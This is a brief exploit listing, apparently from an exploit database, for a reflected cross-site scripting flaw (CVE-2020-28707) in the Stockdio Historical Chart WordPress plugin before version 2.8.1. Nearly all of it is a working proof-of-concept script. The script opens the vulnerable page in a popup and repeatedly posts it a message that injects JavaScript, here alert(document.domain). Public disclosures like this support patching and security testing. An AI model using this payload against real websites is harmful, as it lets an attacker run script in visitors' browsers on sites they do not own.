Exploit for Stockdio Historical Chart < 2.8.1 - Reflected Cross-Site Scripting (XSS) CVE-2020-28707

## https://sploitus.com/exploit?id=WPEX-ID:EE036303-0676-481A-98A4-76852FEA6F62
Use the following code on another website

<script>
        var popup = window.open('https://VULNERABLE.PAGE/');
        var msg = {};
        msg.method = "alert(document.domain)";
        function post(){popup.postMessage(msg,'*')}
        setInterval(post,1000);
</script>